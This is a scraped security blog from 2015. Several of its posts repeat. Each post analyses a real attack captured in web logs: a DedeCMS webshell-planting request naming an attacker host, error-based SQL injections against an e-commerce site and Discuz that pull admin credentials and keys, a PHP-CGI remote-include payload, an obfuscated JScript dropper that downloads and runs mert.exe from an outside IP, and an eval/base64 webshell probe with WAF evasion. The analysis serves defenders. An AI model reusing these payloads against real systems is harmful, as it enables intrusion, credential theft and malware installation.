Saw this attack below that appears to be targted at China's popular CMS dedeCMS.
HEAD /install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
It appears that if this vulnerable page was available and exposed and not patched then the attacker can gain remote access per this blog i read
Above is step 1 in the process which Clears the contents of config_update.php, which is likely an important file for the CMS and if empty now the guards are down on the site.
Then the 2nd step it says is that the attacker will send a similar request that Create local HTTP services like this below.
GET /install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://BADGUYIP:BADGUYPORT/
And your webshell would now live here
GET /install/hello.php
and your site is owned.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thursday, December 17, 2015
DedeCMS File Upload vuln real example
Real eCommerce SQL Injection Example
I saw this SQL injection attempt that was likely supposed to be directed towards some php mysql ecommerce platform (I couldn't figure out exactly which one).
GET/news/html/?0'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html
It appears to try to take advantage of a SQL Injection vulnerability in a query string parameter called '0' on the news page of the site. I know this by the tick followed by the word union
httml/?0'union If I clean it up by removing the excess comments used for obfuscation i get this sql statement being tried.
union select 1 from (select count(*),concat(floor(rand(0)*2),0x3a, select concat(user,0x3a,password) from pwn_base_admin limit 0,1),0x3a)a from information_schema.tables group by a)b where'1'='1'
This is trying to output via a sql primary key error message, the username and password from the pwn_base_admin table. If you're not familiar with how this sql statement can output the sensitive data via an error getting thrown, please read my blog from last mnth about sqli duplicate entry for key.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
GET/news/html/?0'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html
It appears to try to take advantage of a SQL Injection vulnerability in a query string parameter called '0' on the news page of the site. I know this by the tick followed by the word union
httml/?0'union If I clean it up by removing the excess comments used for obfuscation i get this sql statement being tried.
union select 1 from (select count(*),concat(floor(rand(0)*2),0x3a, select concat(user,0x3a,password) from pwn_base_admin limit 0,1),0x3a)a from information_schema.tables group by a)b where'1'='1'
This is trying to output via a sql primary key error message, the username and password from the pwn_base_admin table. If you're not familiar with how this sql statement can output the sensitive data via an error getting thrown, please read my blog from last mnth about sqli duplicate entry for key.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Monday, November 30, 2015
php injection sending email
I saw this php injection attempt that I thought was interesting.
GET /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://netsunucum.com/status/-/d.txt
The attempt is looking for mis-configured insecure PHP web servers. Looking for ones that will give the ability to enable url includes and then automatically prepend the file. When I downloaded the malicious payload file url ( hxxp://netsunucum.com/status/-/d.txt [see at urlquery] ) I found this which was also interesting.
SP4M3R
<?php
$from = "INBOX <h4x0r@r0x.com">";
$sentTo = "vaidominio2@gmail.com";
$subject = "VULN r0x";
$msg_body = "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$header_info = "From: ".$from;
mail($sentTo, $subject, $msg_body, $header_info);
?>
If the php web server is vulnerable, then this php file above will get auto-included and pre-pended to the current php page, thus getting executed. When it's executed it actually uses PHP mail to send an email to the attacker's gmail account if the server it hit was vulnerable. The attacker at vaidominio2@gmail.com will get an email indicating that the server name in the body is vulnerable to the php injection.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
GET /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://netsunucum.com/status/-/d.txt
The attempt is looking for mis-configured insecure PHP web servers. Looking for ones that will give the ability to enable url includes and then automatically prepend the file. When I downloaded the malicious payload file url ( hxxp://netsunucum.com/status/-/d.txt [see at urlquery] ) I found this which was also interesting.
SP4M3R
<?php
$from = "INBOX <h4x0r@r0x.com">";
$sentTo = "vaidominio2@gmail.com";
$subject = "VULN r0x";
$msg_body = "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$header_info = "From: ".$from;
mail($sentTo, $subject, $msg_body, $header_info);
?>
If the php web server is vulnerable, then this php file above will get auto-included and pre-pended to the current php page, thus getting executed. When it's executed it actually uses PHP mail to send an email to the attacker's gmail account if the server it hit was vulnerable. The attacker at vaidominio2@gmail.com will get an email indicating that the server name in the body is vulnerable to the php injection.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Discuz SQLi Duplicate entry for key
Saw this sql injection attempt likely related to the Discuz! Internet Forum software probably from earlier this year. I think it may come from a PoC like this. Here's the attack seen.
POST /faq.php
action=grouppermission
gids[99]='
gids[100][0]=) and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
The vulnerability is apparently in unsanitized parameter gids. Let's quickly breakdown what the attacker is attempting to do when taking advantage of the vuln. If you rip the sql statement apart, the first portion (deepest nested) actually getting executed is ...
select substr(authkey,1,62) from cdb_uc_applications limit 0,1
Which is saying select the first 62 characters of the authorization key found in the cdb_uc_applications table. This appears to be where the php myadmin authorization key is stored that can be used as we'll see later on to login and administrate the server. The query limits the results to only returning 0 or 1 authorization keys, nothing more. Then the next command is executed on the results
select count(*),concat( ( RESULT ABOVE ) ) ,floor(rand(0)*2) x from information_schema.tables group by x
Which is essentially appending a random 0 or 1 to the authorization key. The attacker will be able to simply drop off that random number and still have the original authorization key. It prints out the same authorization key and 0/1 many times. It actually prints it out once for every table in the database. Then below it'll finish off.
select 1 from ( RESULT ABOVE ) a
by printing the number '1' (literally the number 1) and then
) and ( RESULT ABOVE ) #
comment out (hash symbol) the rest of the sql statement to finish off the sql injection.
So now you might be scratching your head? If the final results was just the number '1', then did anything actually occur? Was any information leaked? Actually yes. Since it attempts to print out the same authorization key and appended 0/1 in a group by statement, it's actually going to fire a database duplicate key error message. Duplicate entry Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key. And the attacker is banking on the fact that the error message will get displayed back onto the page, thus he's able to exfiltrate data from a mysql table via an error message. Pretty clever!
The github exploit linked above shows how this is utilized then ...
content = response.read()
reg = re.compile('Duplicate entry \'1\^(.*?)\' for key')
res = reg.findall(content)
You can see above that they use a regular expression to look for the error message in the http response. They pull out with the \1 the original authorization key.
cls.get_shell(args['options']['target'], uc_key, args['options']['target'])
args['result']['webshell'] = args['options']['target'] + '/config.inc.php'
Then they end up turning around and passing the authorization key (uc_key) back to the config.inc.php (phpMyAdmin's configuration file) to complete they're exploit and own the server. The attack post was here.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
action=grouppermission
gids[99]='
gids[100][0]=) and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
The vulnerability is apparently in unsanitized parameter gids. Let's quickly breakdown what the attacker is attempting to do when taking advantage of the vuln. If you rip the sql statement apart, the first portion (deepest nested) actually getting executed is ...
select substr(authkey,1,62) from cdb_uc_applications limit 0,1
Which is saying select the first 62 characters of the authorization key found in the cdb_uc_applications table. This appears to be where the php myadmin authorization key is stored that can be used as we'll see later on to login and administrate the server. The query limits the results to only returning 0 or 1 authorization keys, nothing more. Then the next command is executed on the results
select count(*),concat( ( RESULT ABOVE ) ) ,floor(rand(0)*2) x from information_schema.tables group by x
Which is essentially appending a random 0 or 1 to the authorization key. The attacker will be able to simply drop off that random number and still have the original authorization key. It prints out the same authorization key and 0/1 many times. It actually prints it out once for every table in the database. Then below it'll finish off.
select 1 from ( RESULT ABOVE ) a
by printing the number '1' (literally the number 1) and then
) and ( RESULT ABOVE ) #
comment out (hash symbol) the rest of the sql statement to finish off the sql injection.
So now you might be scratching your head? If the final results was just the number '1', then did anything actually occur? Was any information leaked? Actually yes. Since it attempts to print out the same authorization key and appended 0/1 in a group by statement, it's actually going to fire a database duplicate key error message. Duplicate entry Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key. And the attacker is banking on the fact that the error message will get displayed back onto the page, thus he's able to exfiltrate data from a mysql table via an error message. Pretty clever!
The github exploit linked above shows how this is utilized then ...
content = response.read()
reg = re.compile('Duplicate entry \'1\^(.*?)\' for key')
res = reg.findall(content)
You can see above that they use a regular expression to look for the error message in the http response. They pull out with the \1 the original authorization key.
cls.get_shell(args['options']['target'], uc_key, args['options']['target'])
args['result']['webshell'] = args['options']['target'] + '/config.inc.php'
Then they end up turning around and passing the authorization key (uc_key) back to the config.inc.php (phpMyAdmin's configuration file) to complete they're exploit and own the server. The attack post was here.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Wednesday, November 25, 2015
Malicious Javascript Walk-thru
Saw this malicious obfuscated javascript and though it was worth a walk-thru. It starts as this ugly mess.
(
function (olcdENyNGCBd) {
function kKVXeV(msezIazw) {
return new olcdENyNGCBd.ActiveXObject(msezIazw)
}
var kMFFvyAqh = true, mEwAroXP = ("B.St"+(221404, "ream"));
var kbtEwr;
kbtEwr = function (CJxJzZ, XuSlNgfI, SoRNuldTayYND) {
tbWEefAFUAZSaO=((1/*s987111nuM69919eOiZ*/)?"WScri":"")+"pt.Shell";
var CCPoAXzX = kKVXeV(tbWEefAFUAZSaO);
var pPDVaIAYVOIp = "2.XMLHTTP";
var CtsZjtNlqpP = kKVXeV("MSXML"+(381144, pPDVaIAYVOIp));
var tndpSoRVjetRf = "%TEMP%\\";
var bIVrpPKIHb = CCPoAXzX["Expa"+/*s925956nM261933eOZ*/"ndEnvironmentStrings"](tndpSoRVjetRf)
var XuSlNgfI = bIVrpPKIHb +(437532602659, XuSlNgfI);
CtsZjtNlqpP.onreadystatechange = function (){
if (CtsZjtNlqpP.readyState == 4){
kMFFvyAqh = false;
with(kKVXeV("ADOD" + mEwAroXP)){
open();
type = 1;
write(CtsZjtNlqpP.ResponseBody);
saveToFile(XuSlNgfI, 2);
close();
return XuSlNgfI;
}
}
}
CtsZjtNlqpP.open("G" + (3828034, 4609216, /*dca645894zYtzkrxTK747381IlaIWQJrHGjLqXIjNQmXamgjYPW*/ "ET" /*dcazYtzkrx637703TKIlaIWQJr683091HGjLqXIjNQmX29671amgjYPW*/), CJxJzZ, false);
CtsZjtNlqpP.send();
yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
while (kMFFvyAqh) {yimseHvs}
if (((new Date())>0,1656))
CCPoAXzX.Run(XuSlNgfI, 0, 0);
}
XkpYNx = "h";
XkpYNx += "t"; /*XkpYNxCtsZjtNlqpPkKVXeV*/
XkpYNx += "tp";
kbtEwr(XkpYNx + "://" + "46.30.45.73/mert.e"+"x"+"e", "115987449.exe", 1);
}
)
(this) /*507952955735917811792346152771*/
I can quickly make it prettier by removing the comments, removing the unnecessary concatenations, removing the unncessary conditionals, and replacing the unnecessary variables with their values.
(
function (olcdENyNGCBd) {
var kMFFvyAqh = true;
var kbtEwr = function () {
var CCPoAXzX = olcdENyNGCBd.ActiveXObject("WScript.Shell");
var CtsZjtNlqpP = olcdENyNGCBd.ActiveXObject("MSXML2.XMLHTTP"));
var bIVrpPKIHb = CCPoAXzX["ExpandEnvironmentStrings"]("%TEMP%\\")
var XuSlNgfI = bIVrpPKIHb +"115987449.exe";
CtsZjtNlqpP.onreadystatechange = function (){
if (CtsZjtNlqpP.readyState == 4){
kMFFvyAqh = false;
with(olcdENyNGCBd.ActiveXObject("ADODB.Stream")){
open();
type = 1;
write(CtsZjtNlqpP.ResponseBody);
saveToFile(XuSlNgfI, 2);
close();
return XuSlNgfI;
}
}
}
CtsZjtNlqpP.open("GET" ), "http://46.30.45.73/mert.exe", false);
CtsZjtNlqpP.send();
yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
while (kMFFvyAqh) {
yimseHvs
}
CCPoAXzX.Run(XuSlNgfI, 0, 0);
}
kbtEwr();
}
)
(this)
Then I can remove the ugly obfuscated variables with things that have more meaning to me, also eliminate the wrapper function call that wasn't necessary.
var isExeStillDownloading = true;
var shellPrompt = this.ActiveXObject("WScript.Shell");
var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));
var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")
var payloadDestination = tempFolderPath +"115987449.exe";
webRequest.onreadystatechange = function (){
if (webRequest.readyState == 4){
isExeStillDownloading = false;
with(this.ActiveXObject("ADODB.Stream")){
open();
type = 1;
write(webRequest.ResponseBody);
saveToFile(payloadDestination, 2);
close();
return payloadDestination;
}
}
}
webRequest.open("GET" ), "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
this.WScript.Sleep(1100)
}
shellPrompt.Run(payloadDestination, 0, 0);
Wow, that looks much more readable! Let's go through line by line now.
var isExeStillDownloading = true;
This variable will be set to true until the EXE is downloaded from the website and then it's set to false.
var shellPrompt = this.ActiveXObject("WScript.Shell");
This variable will hold the ActiveX object that allows the attacker to interact with the command prompt on the windows box.
var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));
This variable will hold the ActiveX object that allows the attacker to make web requests to download a file.
var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")
This variable will hold the windows temp folder path (that he got from using the command prompt variable above). Why does he care about the temp folder? Because it's one place he's almost guaranteed to have write access to so he can download, save, and run a file from it.
var payloadDestination = tempFolderPath +"115987449.exe";
This variable will hold the final destination for the malicious executable the attacker is trying to download to the machine and run.
webRequest.onreadystatechange = function (){
if (webRequest.readyState == 4){
isExeStillDownloading = false;
This code starts a listener (basically a function that does not get executed until a specific event happens). In this case the listener is on the web request (the file download). The function will get called once the state of the object changed. If the state is changed to 4 (which means request COMPLETED) then this function gets called and the first thing it does is change the variable used above to indicate that the download is complete.
with(this.ActiveXObject("ADODB.Stream")){
This code then creates an ActiveX object that is used to save the downloaded file to the file system on the windows box in the temp folder.
open();
type = 1;
write(webRequest.ResponseBody);
saveToFile(payloadDestination, 2);
close();
Then the ActiveX object above is actually used to write the web request to a file in the temp folder and then save it to disk.
webRequest.open("GET" , "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
this.WScript.Sleep(1100)
}
Kinda difficult maybe to understand at first, but the listener described in the previous sections wasn't actually executed yet. But now, with the lines above, the web request is used to call for the primary payload (mert.exe). Then the code sits and loops, sleeping, doing nothing until the file completes it's download. One the download is complete, the listener described earlier is called, it sets that variable to false saying that the download is complete, and then it exits the sleeping loop.
shellPrompt.Run(payloadDestination, 0, 0);
The final step is then for the attacker to use the shell prompt to execute the malicious exe that he just downloaded and saved to disk. Say bye-bye to your pc because it's now under his control not yours.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
function (olcdENyNGCBd) {
function kKVXeV(msezIazw) {
return new olcdENyNGCBd.ActiveXObject(msezIazw)
}
var kMFFvyAqh = true, mEwAroXP = ("B.St"+(221404, "ream"));
var kbtEwr;
kbtEwr = function (CJxJzZ, XuSlNgfI, SoRNuldTayYND) {
tbWEefAFUAZSaO=((1/*s987111nuM69919eOiZ*/)?"WScri":"")+"pt.Shell";
var CCPoAXzX = kKVXeV(tbWEefAFUAZSaO);
var pPDVaIAYVOIp = "2.XMLHTTP";
var CtsZjtNlqpP = kKVXeV("MSXML"+(381144, pPDVaIAYVOIp));
var tndpSoRVjetRf = "%TEMP%\\";
var bIVrpPKIHb = CCPoAXzX["Expa"+/*s925956nM261933eOZ*/"ndEnvironmentStrings"](tndpSoRVjetRf)
var XuSlNgfI = bIVrpPKIHb +(437532602659, XuSlNgfI);
CtsZjtNlqpP.onreadystatechange = function (){
if (CtsZjtNlqpP.readyState == 4){
kMFFvyAqh = false;
with(kKVXeV("ADOD" + mEwAroXP)){
open();
type = 1;
write(CtsZjtNlqpP.ResponseBody);
saveToFile(XuSlNgfI, 2);
close();
return XuSlNgfI;
}
}
}
CtsZjtNlqpP.open("G" + (3828034, 4609216, /*dca645894zYtzkrxTK747381IlaIWQJrHGjLqXIjNQmXamgjYPW*/ "ET" /*dcazYtzkrx637703TKIlaIWQJr683091HGjLqXIjNQmX29671amgjYPW*/), CJxJzZ, false);
CtsZjtNlqpP.send();
yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
while (kMFFvyAqh) {yimseHvs}
if (((new Date())>0,1656))
CCPoAXzX.Run(XuSlNgfI, 0, 0);
}
XkpYNx = "h";
XkpYNx += "t"; /*XkpYNxCtsZjtNlqpPkKVXeV*/
XkpYNx += "tp";
kbtEwr(XkpYNx + "://" + "46.30.45.73/mert.e"+"x"+"e", "115987449.exe", 1);
}
)
(this) /*507952955735917811792346152771*/
I can quickly make it prettier by removing the comments, removing the unnecessary concatenations, removing the unncessary conditionals, and replacing the unnecessary variables with their values.
(
function (olcdENyNGCBd) {
var kMFFvyAqh = true;
var kbtEwr = function () {
var CCPoAXzX = olcdENyNGCBd.ActiveXObject("WScript.Shell");
var CtsZjtNlqpP = olcdENyNGCBd.ActiveXObject("MSXML2.XMLHTTP"));
var bIVrpPKIHb = CCPoAXzX["ExpandEnvironmentStrings"]("%TEMP%\\")
var XuSlNgfI = bIVrpPKIHb +"115987449.exe";
CtsZjtNlqpP.onreadystatechange = function (){
if (CtsZjtNlqpP.readyState == 4){
kMFFvyAqh = false;
with(olcdENyNGCBd.ActiveXObject("ADODB.Stream")){
open();
type = 1;
write(CtsZjtNlqpP.ResponseBody);
saveToFile(XuSlNgfI, 2);
close();
return XuSlNgfI;
}
}
}
CtsZjtNlqpP.open("GET" ), "http://46.30.45.73/mert.exe", false);
CtsZjtNlqpP.send();
yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
while (kMFFvyAqh) {
yimseHvs
}
CCPoAXzX.Run(XuSlNgfI, 0, 0);
}
kbtEwr();
}
)
(this)
Then I can remove the ugly obfuscated variables with things that have more meaning to me, also eliminate the wrapper function call that wasn't necessary.
var isExeStillDownloading = true;
var shellPrompt = this.ActiveXObject("WScript.Shell");
var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));
var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")
var payloadDestination = tempFolderPath +"115987449.exe";
webRequest.onreadystatechange = function (){
if (webRequest.readyState == 4){
isExeStillDownloading = false;
with(this.ActiveXObject("ADODB.Stream")){
open();
type = 1;
write(webRequest.ResponseBody);
saveToFile(payloadDestination, 2);
close();
return payloadDestination;
}
}
}
webRequest.open("GET" ), "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
this.WScript.Sleep(1100)
}
shellPrompt.Run(payloadDestination, 0, 0);
Wow, that looks much more readable! Let's go through line by line now.
var isExeStillDownloading = true;
This variable will be set to true until the EXE is downloaded from the website and then it's set to false.
var shellPrompt = this.ActiveXObject("WScript.Shell");
This variable will hold the ActiveX object that allows the attacker to interact with the command prompt on the windows box.
var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));
This variable will hold the ActiveX object that allows the attacker to make web requests to download a file.
var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")
This variable will hold the windows temp folder path (that he got from using the command prompt variable above). Why does he care about the temp folder? Because it's one place he's almost guaranteed to have write access to so he can download, save, and run a file from it.
var payloadDestination = tempFolderPath +"115987449.exe";
This variable will hold the final destination for the malicious executable the attacker is trying to download to the machine and run.
webRequest.onreadystatechange = function (){
if (webRequest.readyState == 4){
isExeStillDownloading = false;
This code starts a listener (basically a function that does not get executed until a specific event happens). In this case the listener is on the web request (the file download). The function will get called once the state of the object changed. If the state is changed to 4 (which means request COMPLETED) then this function gets called and the first thing it does is change the variable used above to indicate that the download is complete.
with(this.ActiveXObject("ADODB.Stream")){
This code then creates an ActiveX object that is used to save the downloaded file to the file system on the windows box in the temp folder.
open();
type = 1;
write(webRequest.ResponseBody);
saveToFile(payloadDestination, 2);
close();
Then the ActiveX object above is actually used to write the web request to a file in the temp folder and then save it to disk.
webRequest.open("GET" , "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
this.WScript.Sleep(1100)
}
Kinda difficult maybe to understand at first, but the listener described in the previous sections wasn't actually executed yet. But now, with the lines above, the web request is used to call for the primary payload (mert.exe). Then the code sits and loops, sleeping, doing nothing until the file completes it's download. One the download is complete, the listener described earlier is called, it sets that variable to false saying that the download is complete, and then it exits the sleeping loop.
shellPrompt.Run(payloadDestination, 0, 0);
The final step is then for the attacker to use the shell prompt to execute the malicious exe that he just downloaded and saved to disk. Say bye-bye to your pc because it's now under his control not yours.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Monday, November 23, 2015
More PHP Injection Obfuscation walk-thru
Been blogging about a few PHP injection attempts recently [1], [2]. Here's php injection I pasted that was unique in it's obfuscation method.
POST/plus/mytag_js.php?aid=8080
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
z0=MjgxMDAzO0......ik7ZGllKCk7
z9=BaSE64_dEcOdE
Let's walk through this line by line again.
POST/plus/mytag_js.php?aid=8080
The above is simply saying it's a post to an existing PHP page. I don't believe that this is related in any way really to the exploit.
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
The above code is where it gets interesting. Now first let's take time to notice that there are lots of WAF (web application firewall) evasion techniques listed above. Basically a WAF would be smart enough to detect this attack with no obfuscation, so the attacker must resort to applying multiple layers of obfuscation in hopes that the WAF isn't smart enough and lets some of these requests got through. In the above instance the first thing I'll point out is the attempt to obfuscate code by adding random lines of comments (code that does not get executed) in. This may confuse the WAF, especially if it has special unicode characters like it does, into erroring out or failing to parse the rest of the attack. I colored in red the comments that for our analysis purposes actually do nothing and can be removed.
values=@eval[[#1]](${'_P'.'OST'}[z9][[#1]](${'_POS'.'T'}[z0]));
After removing the comments we're left with this above.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
Now the previous code has some string concatenations ('.') that could be removed again to make it easier to read.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
In addition, the square brackets '[]' are arrays, and they're again used to simply obfuscate some other values. The [[#1]] is actually just an empty array containing the comment (hash symbol) and the comment text 1, so it can safely be removed without any impact as it doesn't do anything.
values=@eval(${'_POST'}[z9](${'_POST'}[z0]));
Also the ${''} syntax is just another way to reference a variable, thus ${'_POST'} is equivalent to $_POST and can be rewritten as such.
values=@eval($_POST[z9]($_POST[z0]));
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0 into the value.
values=@eval(BaSE64_dEcOdE(MjgxMDAzO0......ik7ZGllKCk7));
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0's values into the above code. Now we're getting somewhere.
values=@eval(base64_decode(MjgxMDAzO0......ik7ZGllKCk7));
Case doesn't really matter in php function naming so to make it easier rewrite BaSE64_dEcOdE as base64_decode
values=@eval(281003;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die(););
Then let's perform the actual base64 decoding of the large string to get figure out what they're really trying to do. Oh gee, looks like what I was blogging about the other day. Kinda interesting though how even though it's the same attack, on the outside it looked TOTALLY DIFFERENT until we did the manual unraveling of the obfuscation.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
POST/plus/mytag_js.php?aid=8080
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
z0=MjgxMDAzO0...
z9=BaSE64_dEcOdE
Let's walk through this line by line again.
POST/plus/mytag_js.php?aid=8080
The above is simply saying it's a post to an existing PHP page. I don't believe that this is related in any way really to the exploit.
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
The above code is where it gets interesting. Now first let's take time to notice that there are lots of WAF (web application firewall) evasion techniques listed above. Basically a WAF would be smart enough to detect this attack with no obfuscation, so the attacker must resort to applying multiple layers of obfuscation in hopes that the WAF isn't smart enough and lets some of these requests got through. In the above instance the first thing I'll point out is the attempt to obfuscate code by adding random lines of comments (code that does not get executed) in. This may confuse the WAF, especially if it has special unicode characters like it does, into erroring out or failing to parse the rest of the attack. I colored in red the comments that for our analysis purposes actually do nothing and can be removed.
values=@eval[[#1]](${'_P'.'OST'}[z9][[#1]](${'_POS'.'T'}[z0]));
After removing the comments we're left with this above.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
Now the previous code has some string concatenations ('.') that could be removed again to make it easier to read.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
In addition, the square brackets '[]' are arrays, and they're again used to simply obfuscate some other values. The [[#1]] is actually just an empty array containing the comment (hash symbol) and the comment text 1, so it can safely be removed without any impact as it doesn't do anything.
values=@eval(${'_POST'}[z9](${'_POST'}[z0]));
Also the ${''} syntax is just another way to reference a variable, thus ${'_POST'} is equivalent to $_POST and can be rewritten as such.
values=@eval($_POST[z9]($_POST[z0]));
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0 into the value.
values=@eval(BaSE64_dEcOdE(MjgxMDAzO0...
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0's values into the above code. Now we're getting somewhere.
values=@eval(base64_decode(MjgxMDAzO0...
Case doesn't really matter in php function naming so to make it easier rewrite BaSE64_dEcOdE as base64_decode
values=@eval(281003;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die(););
Then let's perform the actual base64 decoding of the large string to get figure out what they're really trying to do. Oh gee, looks like what I was blogging about the other day. Kinda interesting though how even though it's the same attack, on the outside it looked TOTALLY DIFFERENT until we did the manual unraveling of the obfuscation.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
DHL Phishing
I saw this article last week about how Phishers are targeting millions of DHL customers. "The phishers are obviously after the users' DHL account password, i.e. all the personal information they can get from the account".
Thought it was timely considering I pasted recently a few DHL Phish samples [1], [2], [3] on pastebin.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thought it was timely considering I pasted recently a few DHL Phish samples [1], [2], [3] on pastebin.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
iPhone Location Services are Scarey
